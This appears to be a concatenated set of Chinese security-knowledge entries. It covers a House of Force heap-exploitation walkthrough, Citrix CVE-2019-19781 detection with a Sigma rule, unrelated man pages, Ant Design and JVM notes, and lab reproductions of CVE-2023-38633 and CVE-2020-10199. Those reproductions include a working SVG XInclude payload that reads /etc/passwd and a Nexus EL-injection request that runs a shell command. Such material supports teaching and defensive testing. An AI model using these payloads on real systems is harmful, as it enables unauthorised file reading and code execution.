0x602000: 0x0000000000000000 0x0000000000000021 <=== ptr
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <=== top chunk
0x602030: 0x0000000000000000 0x0000000000000000
```
之后把 top chunk 的 size 改为 0xffffffffffffffff,在真正的题目中,这一步可以通过堆溢出等漏洞来实现。
因为 -1 在补码中是以 0xffffffffffffffff 表示的,所以我们直接赋值 -1 就可以。
```
0x602000: 0x0000000000000000 0x0000000000000021 <=== ptr
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0xffffffffffffffff <=== top chunk size域被更改
0x602030: 0x0000000000000000 0x0000000000000000
```
注意此时的 top chunk 位置,当我们进行下一次分配的时候就会更改 top chunk 的位置到我们想要的地方
```
0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602020 <=== top chunk此时一切正常
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78
```
接下来我们执行`malloc(-4120);`,-4120是怎么得出的呢?
首先,我们需要明确要写入的目的地址,这里我编译程序后,0x601020 是 `malloc@got.plt` 的地址
```
0x601020: 0x00007ffff7a91130 <=== malloc@got.plt
```
所以我们应该将 top chunk 指向 0x601010 处,这样当下次再分配 chunk 时,就可以分配到 `malloc@got.plt` 处的内存了。
之后明确当前 top chunk 的地址,根据前面描述,top chunk 位于 0x602020,所以我们可以计算偏移如下
0x601010-0x602020=-4112
此外,用户申请的内存大小,一旦进入申请内存的函数中就变成了无符号整数。
```c
void *__libc_malloc(size_t bytes) {
```
如果想要用户输入的大小经过内部的 `checked_request2size`可以得到这样的大小,即
```c
/*
Check if a request is so large that it would wrap around zero when
padded and aligned. To simplify some other code, the bound is made
low enough so that adding MINSIZE will also not wrap around zero.
*/
#define REQUEST_OUT_OF_RANGE(req) \
((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE))
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Same, except also perform argument check */
#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE(req)) { \
__set_errno(ENOMEM); \
return 0; \
} \
(sz) = request2size(req);
```
一方面,我们需要绕过 REQUEST_OUT_OF_RANGE(req) 这个检测,即我们传给 malloc 的值在负数范围内,不得大于 -2 * MINSIZE,这个一般情况下都是可以满足的。
另一方面,在满足对应的约束后,我们需要使得 `request2size`正好转换为对应的大小,也就是说,我们需要使得 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK 恰好为-4112。首先,很显然,-4112 是 chunk 对齐的,那么我们只需要将其分别减去 SIZE_SZ,MALLOC_ALIGN_MASK 就可以得到对应的需要申请的值。其实我们这里只需要减 SIZE_SZ 就可以了,因为多减的 MALLOC_ALIGN_MASK 最后还会被对齐掉。而**如果 -4112 不是 MALLOC_ALIGN 的时候,我们就需要多减一些了。当然,我们最好使得分配之后得到的 chunk 也是对齐的,因为在释放一个 chunk 的时候,会进行对齐检查。**
因此,我们当调用`malloc(-4120)`之后,我们可以观察到 top chunk 被抬高到我们想要的位置
```
0x7ffff7dd1b20 <main_arena>:\ 0x0000000100000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000601010 <=== 可以观察到top chunk被抬高
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78
```
之后,我们分配的块就会出现在 0x601010+0x10 的位置,也就是 0x601020 可以更改 got 表中的内容了。
但是需要注意的是,在被抬高的同时,malloc@got 附近的内容也会被修改。
```c
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
```
### House Of Force简单示例2
在上一个示例中,我们演示了通过 HOF 使得 top chunk 的指针减小来修改位于其上面(低地址)的got表中的内容,
但是 HOF 其实也可以使得 top chunk 指针增大来修改位于高地址空间的内容,我们通过这个示例来演示这一点
```
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; <=== 修改top chunk size
malloc(140737345551056); <=== 增大top chunk指针
malloc(0x10);
}
```
我们可以看到程序代码与简单示例1基本相同,除了第二次 malloc 的 size 有所不同。
这次我们的目标是 malloc_hook,我们知道 malloc_hook 是位于 libc.so 里的全局变量值,首先查看内存布局
```
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/vb/桌面/tst/t1
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/桌面/tst/t1
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/桌面/tst/t1
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw-
0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fdb000 0x00007ffff7fde000 0x0000000000000000 rw-
0x00007ffff7ff6000 0x00007ffff7ff8000 0x0000000000000000 rw-
0x00007ffff7ff8000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
```
可以看到 heap 的基址在 0x602000,而 libc 的基址在 0x7ffff7a0d000,因此我们需要通过 HOF 扩大 top chunk指针的值来实现对 malloc_hook 的写。
首先,由调试得知 __malloc_hook 的地址位于 0x7ffff7dd1b10 ,采取计算
0x7ffff7dd1b00-0x602020-0x10=140737345551056
经过这次 malloc 之后,我们可以观察到 top chunk 的地址被抬高到了 0x00007ffff7dd1b00
```
0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x00007ffff7dd1b00 <=== top chunk
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78
```
之后,我们只要再次分配就可以控制 0x7ffff7dd1b10 处的 __malloc_hook 值了
```
rax = 0x00007ffff7dd1b10
0x400562 <main+60> mov edi, 0x10
0x400567 <main+65> call 0x400410 <malloc@plt>
```
### House Of Force总结
在这一节中讲解了 House Of Force 的原理并且给出了两个利用的简单示例,通过观察这两个简单示例我们会发现其实HOF的利用要求还是相当苛刻的。
* 首先,需要存在漏洞使得用户能够控制 top chunk 的 size 域。
* 其次,**需要用户能自由控制 malloc 的分配大小**
* 第三,分配的次数不能受限制
其实这三点中第二点往往是最难办的,CTF 题目中往往会给用户分配堆块的大小限制最小和最大值使得不能通过HOF 的方法进行利用。
|
sec-knowleage
|
# nps
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**简介**
一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等……,并带有功能强大的web管理端。
**项目地址**
- https://github.com/ehang-io/nps
---
## 安装
linux 配置方式见如下链接🔗
- [nps安装配置](../../Integrated/Linux/Power-Linux.md#nps)
|
sec-knowleage
|
## 密码破解工具
|Password Attacks||||||
|:-:|:-:|:-:|:-:|:-:|:-:|
|[acccheck](acccheck.md)|Burp Suite|CeWL|chntpw|cisco-auditing-tool|CmosPwd|
|creddump|[crunch](crunch.md)|DBPwAudit|findmyhash|gpp-decrypt|hash-identifier|
|HexorBase|THC-Hydra|[John the Ripper](John%20the%20Ripper.md)|[Johnny](Johnny.md)|keimpx|Maltego Teeth|
|Maskprocessor|multiforcer|Ncrack|oclgausscrack|PACK|patator|
|phrasendrescher|polenum|RainbowCrack|rcracki-mt|RSMangler|SQLdict|
|Statsprocessor|THC-pptp-bruter|TrueCrack|WebScarab|wordlists|zaproxy|
|[hashcat](hashcat.md)||||||
|
sec-knowleage
|
seq
===
以指定增量从首数开始打印数字到尾数
## 补充说明
**seq命令** 用于产生从某个数到另外一个数之间的所有整数。
### 语法
```shell
seq [选项]... 尾数
seq [选项]... 首数 尾数
seq [选项]... 首数 增量 尾数
```
### 选项
```shell
-f, --format=格式 使用printf 样式的浮点格式
-s, --separator=字符串 使用指定字符串分隔数字(默认使用:\n)
-w, --equal-width 在列前添加0 使得宽度相同
```
### 实例
**-f选项:指定格式**
```shell
#seq -f"%3g" 9 11
9
10
11
```
`%`后面指定数字的位数 默认是`%g`,`%3g`那么数字位数不足部分是空格。
```shell
#sed -f"%03g" 9 11
#seq -f"str%03g" 9 11
str009
str010
str011
```
这样的话数字位数不足部分是0,`%`前面制定字符串。
**-w选项:指定输出数字同宽**
```shell
seq -w 98 101
098
099
100
101
```
不能和`-f`一起用,输出是同宽的。
**-s选项:指定分隔符(默认是回车)**
```shell
seq -s" " -f"str%03g" 9 11
str009 str010 str011
```
要指定`/t`做为分隔符号:
```shell
seq -s"`echo -e "/t"`" 9 11
```
指定`\n`作为分隔符号:
```shell
seq -s"`echo -e "\n"`" 9 11
19293949596979899910911
```
得到的是个错误结果,不过一般也没有这个必要,它默认的就是回车作为分隔符。
|
sec-knowleage
|
# T1190-CVE-2019-19781远程代码执行
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Citrix旗下多款交付控制器和网关存在RCE漏洞,攻击者在无需身份验证的情况下就可执行任意命令。根据其他安全网站的说法,这个RCE漏洞会有一个标记漏洞(其中之一的标记),即本次报道的Citrx路径遍历漏洞(CVE-2019-19781)。Citrx路径遍历漏洞(CVE-2019-19781)利用方式的PoC已被公开。该漏洞利用复杂性低,且无权限要求,攻击者只能遍历vpns文件夹,但攻击者可能利用Citrx路径遍历漏洞进行RCE漏洞试探,从而发起进一步精准攻击。
漏洞影响范围:
Citrix NetScaler ADC and NetScaler Gateway version 10.5
Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1
Citrix ADC and Citrix Gateway version 13.0
## 检测日志
HTTP.log
## 测试复现
漏洞利用过程:
1.pl文件未对NSC_USER参数传入进行过滤
2.触发目录穿越
3.在模板目录的XML文件写入命令
4.模板引擎分析后执行命令
漏洞利用建议参考:
CVE-2019-19781 远程代码执行漏洞复现
<https://www.cnblogs.com/panisme/p/12542721.html>
Citrix路径遍历(CVE-2019-19781)
<https://www.jianshu.com/p/03b175711524>
## 测试留痕
暂无实测,故无留痕
## 检测规则/思路
### Sigma规则
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
```yml
title: 检测Citrix CVE-2019-19781漏洞利用行为
references:
- https://www.jianshu.com/p/03b175711524
- https://www.jianshu.com/p/03b175711524
status: experimental
logsource:
category: webserver
detection:
selection:
c-uri:
- '*/../vpns/*' #根据此次公开的PoC显示,该洞目录遍历被限制子在vpns文件夹下,任意用户可通过HTTP请求直接访问该目录下的文件。
- '*/vpns/cfg/smb.conf' #根据此次公开的PoC显示,该洞目录遍历被限制子在vpns文件夹下,任意用户可通过HTTP请求直接访问该目录下的文件。
- '*/vpns/portal/scripts/*.pl*' #利用目录穿越写入命令语句到newbm.pl文件中
condition: selection
fields:
- client_ip
- vhost
- url
- response
falsepositives:
- Unknown
level: critical
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1190
<https://attack.mitre.org/techniques/T1190/>
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH SLEEP 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
sleep \- 延迟指定数量的时间
.SH 概述
\fBsleep\fP \fI\,数量\/\fP[\fI\,后缀\/\fP]...
.br
\fBsleep\fP \fI\,选项\/\fP
.SH 描述
.\" Add any additional description here
.PP
暂停指定数量秒。后缀是 's',则指数量单位为秒(默认),\&'m'为分钟,'h'为小时,'d'
为天。这里给出的数字不一定必须为整数。如果给定两个及以上的参数,则暂停的时间是这些给定值的和。
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 Jim Meyering 和 Paul Eggert 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
\fBsleep\fP(3)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/sleep>
.br
或者在本地使用: info \(aq(coreutils) sleep invocation\(aq
|
sec-knowleage
|
# librsvg XInclude 文件包含漏洞(CVE-2023-38633)
librsvg是一个用于处理SVG图片的开源依赖库。
librsvg支持XML中的XInclude规范,可以用于加载外部内容。在librsvg 2.56.3版本以前,由于处理路径存在逻辑错误,导致攻击者可以传入一个恶意构造的SVG图片,进而读取到任意文件。
参考链接:
- <https://www.canva.dev/blog/engineering/when-url-parsers-disagree-cve-2023-38633/>
- <https://gitlab.gnome.org/GNOME/librsvg/-/issues/996>
## 漏洞环境
执行如下命令启动一个PHP服务器,其中使用librsvg 2.50.7将用户上传的SVG图片转换成PNG图片并返回:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可查看到上传页面。
## 漏洞复现
将路径嵌入到`<xi:include>`标签中,如下POC:
```xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="300" height="300" xmlns:xi="http://www.w3.org/2001/XInclude">
<rect width="300" height="300" style="fill:rgb(255,255,255);" />
<text x="10" y="100">
<xi:include href=".?../../../../../../../../../../etc/passwd" parse="text" encoding="UTF-8">
<xi:fallback>file not found</xi:fallback>
</xi:include>
</text>
</svg>
```
上传这个SVG图片,即可查看到`/etc/passwd`已被成功读取并渲染进PNG图片中:

|
sec-knowleage
|
## Ant Design
### 简介
Ant Design 是蚂蚁金服开发和正在使用的一套企业级的前端设计语言和基于 React 的前端框架实现。
### 安装
使用`npm-package`安装`ant-design`
```
npm install antd --save
```
### 引用
>使用`create-react-app`进行开发时,一般在`index.js`中引入`antd`的CSS
```
import 'antd/dist/antd.min.css'
```
>修改`import [需要的组件] from antd/lib/[需要的组件]`,引入需要的按钮组件
```
import Button from 'antd/lib/button'
```
>使用引入的组件时,直接写就可以了
```
<Button>点击</Button>
```
>通过官网给出的 API 来设置属性,按钮样式也会发生改变。
推荐顺序为:type -> shape -> size -> loading -> disabled
**例**:按钮的属性:[点击查看](https://ant.design/components/button-cn/)
```
<div>
<Button type="primary" shape="circle" size='large'>P</Button>
<Button loading={this.state.loading}>Default</Button>
<Button type="danger" onClick={()=>this.setState({loading:!this.state.loading})}>Danger</Button>
</div>
```
### 按需加载
#### 首先需要安装依赖的包
```
npm i babel-plugin-import -D
```
#### 然后,在自己配置的环境中的`.babelrc`中添加工具插件
```
// .babelrc or babel-loader option
{
"plugins": [
["import", { libraryName: "antd", style: "css" }] // `style: true` 会加载 less 文件
]
}
```
#### 在用 `create-react-app` 创建的项目中 添加工具插件
在用快速创建工具创建的项目中,配置文件在`node_modules` -> `react-scripts`中
**文件位置**
```
node_modules/react-scripts/config/webpack.config.dev.js
```
在配置文件的 模块(Module)中找到`babel-loader`的配置,将下面配置添加在`options`中
```js
plugins: [
["import", { libraryName: "antd", style: "css" }] // `style: true` 会加载 less 文件
],
```
**小贴士**:可以直接`ctrl+F`调出搜索栏,在搜索栏上输入`babel-loader`可以快速找到
#### 使用
然后只需从 antd 引入模块即可,无需单独引入样式。等同于下面手动引入的方式。
```
// babel-plugin-import 会帮助你加载 JS 和 CSS
import { DatePicker } from 'antd';
```
+ 手动引入
```
import DatePicker from 'antd/lib/date-picker'; // 加载 JS
import 'antd/lib/date-picker/style/css'; // 加载 CSS
// import 'antd/lib/date-picker/style'; // 加载 LESS
```
### 栅格组件:[点击查看](https://ant.design/components/grid-cn/)
ANTD的24等分栅格系统,`flex`布局的栅格系统允许子元素在父节点内的水平对齐方式 - 居左、居中、居右、等宽排列、分散排列。子元素与子元素之间,支持顶部对齐、垂直居中对齐、底部对齐的方式。同时,支持使用 order 来定义元素的排列顺序
- 通过row在水平方向建立一组column(简写col)
- 你的内容应当放置于col内,并且,只有col可以作为row的直接元素
- 栅格系统中的列是指1到24的值来表示其跨越的范围。例如,三个等宽的列`.col-8`
- 如果一个row中的col总和超过 24,那么多余的col会作为一个整体另起一行排列
### 参考
- Ant-Design官网地址:[点击进入](https://ant.design/index-cn)
|
sec-knowleage
|
# Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199)
Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞。
参考链接:
- https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
- https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10199/README.md
- https://github.com/jas502n/CVE-2020-10199
## 漏洞环境
执行如下命令启动Nexus Repository Manager 3.21.1:
```
docker compose up -d
```
等待一段时间环境才能成功启动,访问`http://your-ip:8081`即可看到Web页面。
该漏洞需要至少普通用户身份,所以我们需要使用账号密码`admin:admin`登录后台。
## 漏洞复现
登录后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式:
```
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 203
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.7886248393834028
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://127.0.0.1:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc
Connection: close
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["$\\A{233*233*233}"]
}
}
```

参考<https://github.com/jas502n/CVE-2020-10199>,使用表达式`$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}`即可成功执行任意命令。
|
sec-knowleage
|
# Java 虚拟机
<!-- GFM-TOC -->
* [Java 虚拟机](#java-虚拟机)
* [一、运行时数据区域](#一运行时数据区域)
* [程序计数器](#程序计数器)
* [Java 虚拟机栈](#java-虚拟机栈)
* [本地方法栈](#本地方法栈)
* [堆](#堆)
* [方法区](#方法区)
* [运行时常量池](#运行时常量池)
* [直接内存](#直接内存)
* [二、垃圾收集](#二垃圾收集)
* [判断一个对象是否可被回收](#判断一个对象是否可被回收)
* [引用类型](#引用类型)
* [垃圾收集算法](#垃圾收集算法)
* [垃圾收集器](#垃圾收集器)
* [三、内存分配与回收策略](#三内存分配与回收策略)
* [Minor GC 和 Full GC](#minor-gc-和-full-gc)
* [内存分配策略](#内存分配策略)
* [Full GC 的触发条件](#full-gc-的触发条件)
* [四、类加载机制](#四类加载机制)
* [类的生命周期](#类的生命周期)
* [类加载过程](#类加载过程)
* [类初始化时机](#类初始化时机)
* [类与类加载器](#类与类加载器)
* [类加载器分类](#类加载器分类)
* [双亲委派模型](#双亲委派模型)
* [自定义类加载器实现](#自定义类加载器实现)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
本文大部分内容参考 **周志明《深入理解 Java 虚拟机》** ,想要深入学习的话请看原书。
## 一、运行时数据区域
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/5778d113-8e13-4c53-b5bf-801e58080b97.png" width="400px"> </div><br>
### 程序计数器
记录正在执行的虚拟机字节码指令的地址(如果正在执行的是本地方法则为空)。
### Java 虚拟机栈
每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。从方法调用直至执行完成的过程,对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/8442519f-0b4d-48f4-8229-56f984363c69.png" width="400px"> </div><br>
可以通过 -Xss 这个虚拟机参数来指定每个线程的 Java 虚拟机栈内存大小,在 JDK 1.4 中默认为 256K,而在 JDK 1.5+ 默认为 1M:
```java
java -Xss2M HackTheJava
```
该区域可能抛出以下异常:
- 当线程请求的栈深度超过最大值,会抛出 StackOverflowError 异常;
- 栈进行动态扩展时如果无法申请到足够内存,会抛出 OutOfMemoryError 异常。
### 本地方法栈
本地方法栈与 Java 虚拟机栈类似,它们之间的区别只不过是本地方法栈为本地方法服务。
本地方法一般是用其它语言(C、C++ 或汇编语言等)编写的,并且被编译为基于本机硬件和操作系统的程序,对待这些方法需要特别处理。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/66a6899d-c6b0-4a47-8569-9d08f0baf86c.png" width="300px"> </div><br>
### 堆
所有对象都在这里分配内存,是垃圾收集的主要区域("GC 堆")。
现代的垃圾收集器基本都是采用分代收集算法,其主要的思想是针对不同类型的对象采取不同的垃圾回收算法。可以将堆分成两块:
- 新生代(Young Generation)
- 老年代(Old Generation)
堆不需要连续内存,并且可以动态增加其内存,增加失败会抛出 OutOfMemoryError 异常。
可以通过 -Xms 和 -Xmx 这两个虚拟机参数来指定一个程序的堆内存大小,第一个参数设置初始值,第二个参数设置最大值。
```java
java -Xms1M -Xmx2M HackTheJava
```
### 方法区
用于存放已被加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。
和堆一样不需要连续的内存,并且可以动态扩展,动态扩展失败一样会抛出 OutOfMemoryError 异常。
对这块区域进行垃圾回收的主要目标是对常量池的回收和对类的卸载,但是一般比较难实现。
HotSpot 虚拟机把它当成永久代来进行垃圾回收。但很难确定永久代的大小,因为它受到很多因素影响,并且每次 Full GC 之后永久代的大小都会改变,所以经常会抛出 OutOfMemoryError 异常。为了更容易管理方法区,从 JDK 1.8 开始,移除永久代,并把方法区移至元空间,它位于本地内存中,而不是虚拟机内存中。
方法区是一个 JVM 规范,永久代与元空间都是其一种实现方式。在 JDK 1.8 之后,原来永久代的数据被分到了堆和元空间中。元空间存储类的元信息,静态变量和常量池等放入堆中。
### 运行时常量池
运行时常量池是方法区的一部分。
Class 文件中的常量池(编译器生成的字面量和符号引用)会在类加载后被放入这个区域。
除了在编译期生成的常量,还允许动态生成,例如 String 类的 intern()。
### 直接内存
在 JDK 1.4 中新引入了 NIO 类,它可以使用 Native 函数库直接分配堆外内存,然后通过 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能,因为避免了在堆内存和堆外内存来回拷贝数据。
## 二、垃圾收集
垃圾收集主要是针对堆和方法区进行。程序计数器、虚拟机栈和本地方法栈这三个区域属于线程私有的,只存在于线程的生命周期内,线程结束之后就会消失,因此不需要对这三个区域进行垃圾回收。
### 判断一个对象是否可被回收
#### 1. 引用计数算法
为对象添加一个引用计数器,当对象增加一个引用时计数器加 1,引用失效时计数器减 1。引用计数为 0 的对象可被回收。
在两个对象出现循环引用的情况下,此时引用计数器永远不为 0,导致无法对它们进行回收。正是因为循环引用的存在,因此 Java 虚拟机不使用引用计数算法。
```java
public class Test {
public Object instance = null;
public static void main(String[] args) {
Test a = new Test();
Test b = new Test();
a.instance = b;
b.instance = a;
a = null;
b = null;
doSomething();
}
}
```
在上述代码中,a 与 b 引用的对象实例互相持有了对象的引用,因此当我们把对 a 对象与 b 对象的引用去除之后,由于两个对象还存在互相之间的引用,导致两个 Test 对象无法被回收。
#### 2. 可达性分析算法
以 GC Roots 为起始点进行搜索,可达的对象都是存活的,不可达的对象可被回收。
Java 虚拟机使用该算法来判断对象是否可被回收,GC Roots 一般包含以下内容:
- 虚拟机栈中局部变量表中引用的对象
- 本地方法栈中 JNI 中引用的对象
- 方法区中类静态属性引用的对象
- 方法区中的常量引用的对象
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/83d909d2-3858-4fe1-8ff4-16471db0b180.png" width="350px"> </div><br>
#### 3. 方法区的回收
因为方法区主要存放永久代对象,而永久代对象的回收率比新生代低很多,所以在方法区上进行回收性价比不高。
主要是对常量池的回收和对类的卸载。
为了避免内存溢出,在大量使用反射和动态代理的场景都需要虚拟机具备类卸载功能。
类的卸载条件很多,需要满足以下三个条件,并且满足了条件也不一定会被卸载:
- 该类所有的实例都已经被回收,此时堆中不存在该类的任何实例。
- 加载该类的 ClassLoader 已经被回收。
- 该类对应的 Class 对象没有在任何地方被引用,也就无法在任何地方通过反射访问该类方法。
#### 4. finalize()
类似 C++ 的析构函数,用于关闭外部资源。但是 try-finally 等方式可以做得更好,并且该方法运行代价很高,不确定性大,无法保证各个对象的调用顺序,因此最好不要使用。
当一个对象可被回收时,如果需要执行该对象的 finalize() 方法,那么就有可能在该方法中让对象重新被引用,从而实现自救。自救只能进行一次,如果回收的对象之前调用了 finalize() 方法自救,后面回收时不会再调用该方法。
### 引用类型
无论是通过引用计数算法判断对象的引用数量,还是通过可达性分析算法判断对象是否可达,判定对象是否可被回收都与引用有关。
Java 提供了四种强度不同的引用类型。
#### 1. 强引用
被强引用关联的对象不会被回收。
使用 new 一个新对象的方式来创建强引用。
```java
Object obj = new Object();
```
#### 2. 软引用
被软引用关联的对象只有在内存不够的情况下才会被回收。
使用 SoftReference 类来创建软引用。
```java
Object obj = new Object();
SoftReference<Object> sf = new SoftReference<Object>(obj);
obj = null; // 使对象只被软引用关联
```
#### 3. 弱引用
被弱引用关联的对象一定会被回收,也就是说它只能存活到下一次垃圾回收发生之前。
使用 WeakReference 类来创建弱引用。
```java
Object obj = new Object();
WeakReference<Object> wf = new WeakReference<Object>(obj);
obj = null;
```
#### 4. 虚引用
又称为幽灵引用或者幻影引用,一个对象是否有虚引用的存在,不会对其生存时间造成影响,也无法通过虚引用得到一个对象。
为一个对象设置虚引用的唯一目的是能在这个对象被回收时收到一个系统通知。
使用 PhantomReference 来创建虚引用。
```java
Object obj = new Object();
PhantomReference<Object> pf = new PhantomReference<Object>(obj, null);
obj = null;
```
### 垃圾收集算法
#### 1. 标记 - 清除
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/005b481b-502b-4e3f-985d-d043c2b330aa.png" width="400px"> </div><br>
在标记阶段,程序会检查每个对象是否为活动对象,如果是活动对象,则程序会在对象头部打上标记。
